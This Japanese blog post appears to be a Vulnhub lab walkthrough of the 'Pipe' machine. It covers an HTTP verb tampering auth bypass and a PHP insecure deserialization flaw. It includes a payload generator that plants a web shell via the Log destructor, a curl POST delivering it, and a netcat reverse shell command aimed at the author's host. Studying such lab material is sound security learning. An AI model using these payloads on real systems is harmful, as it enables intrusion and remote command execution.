0
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

More than 3 years have passed since last update.

【Vulnhub】/DEV/RANDOM: PIPEをやってみた

Last updated at Posted at 2021-03-14

#はじめに
ホワイトボックステストの練習をしたかったので、ソースコードが与えられているという前提でVulnhubをやってみました。そのためポートスキャンや権限昇格といった内容は省略しています。

このブログを参考にしています。こっちの方が分かりやすいかもしれません。
Pipe - Insecure Deserialization

#/dev/random: Pipe
Pipeは、3つのPHPファイルで構成されているWebアプリです。

  • サーバ名: /dev/random: Pipe
  • リリース日: 2015年10月2日
  • 作者: Sagi-
  • リリーズ: /dev/random

#ソースコード検証
HTTPアクセスには、ベーシック認証が必要です。
しかし以下のとおり、HTTP Verb Tamperingで認証回避が可能となっています。

.htaccess
AuthUserFile /var/www/html/.htpasswd
AuthName "index.php"
AuthType Basic
<Limit GET PUT HEAD OPTIONS DELETE>
require valid-user
</Limit>

index.phpでは、著者の情報を取得するためにInfoのインスタンスが生成され、POSTパラメータparamでシリアライズされたオブジェクトと比較されます。

  • HTTP POSTパラメータparamが値をチェックされずにunserialize()されている。
  • index.php内にimportが2種類ある。
    - info.php
    - log.php
index.php(一部省略)
<?php
include 'info.php';
include 'log.php';

$artist = new Info();
$artist->id = 1;
$artist->firstname = 'Rene';
$artist->surname = 'Margitte';
$artist->details = '...';

...
if (isset($_POST['param'])) {
    $info = unserialize($_POST['param']);
    if (strcasecmp($info->firstname, $artist->firstname) == 0 && strcasecmp($info->surname, $artist->surname) == 0){
        echo $artist->details;
    }
}
...
?>

info.phpは、メソッドを持たないクラスなのでlog.phpを参照します。

log.php
<?php
class Log
{
    public $filename = '';
    public $data = '';

    public function __construct()
    {
        $this->filename = '';
        $this->data = '';
    }

    public function PrintLog()
    {
        $pre = "[LOG]";
        $now = date('Y-m-d H:i:s');

        $str = '$pre - $now - $this->data';
        eval("\$str = \"$str\";");
        echo $str;
    }

    public function __destruct()
    {
        file_put_contents($this->filename, $this->data, FILE_APPEND);
    }
}
?>

クラス内には、filenamedataの2つの変数があります。
デシリアライズしたインスタンスが破棄されるとdataの内容はfilenameに書きこまれます。
アプリケーションでクラスが定義されているので、デストラクタが攻撃に悪用できます。

  1. シリアライズされたLogのHTTP POSTがIndex.phpに送信される。
  2. index.phpは、unserialize()を呼び出し、デシリアライズでLogのインスタンスを作成する。
  3. index.phpの呼び出しが終了する。
  4. Logのインスタンスオブジェクトは呼び出しが終わると破棄される。
  5. __destruct()

#Exploitation
シリアライズされたInfoのインスタンスを書き換えてバックドアを仕込みます。
まずペイロードを作成するgenerate.phpを作ります。

generate.php
<?php 
class Log
{  
  public $filename="/var/www/html/scriptz/shell.php";
  public $data="<?php system(\$_GET['cmd']);?>";
}
print(urlencode(serialize(new Log))."\n"); 
?>

generate.phpを実行します。

php generate.php

生成されたパラメータをPOSTします。

curl -ksi -X POST 'http://pipe.local/index.php' --data-binary 'param=O%3A3%3A%22Log%22%3A2%3A%7Bs%3A8%3A%22filename%22%3Bs%3A24%3A%22%2Fvar%2Fwww%2Fhtml%2Fshell.php%22%3Bs%3A4%3A%22data%22%3Bs%3A29%3A%22%3C%3Fphp+system%28%24_GET%5B%27cmd%27%5D%29%3B%3F%3E%22%3B%7D'

リバースシェルを発動させます。

curl http://pipe.local/scriptz/shell.php?cmd=nc+-e+/bin/bash+MY_IP+4444

#最後に
安全でないデシリアライゼーションを理解するのにいいマシンだと思います。

0
1
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?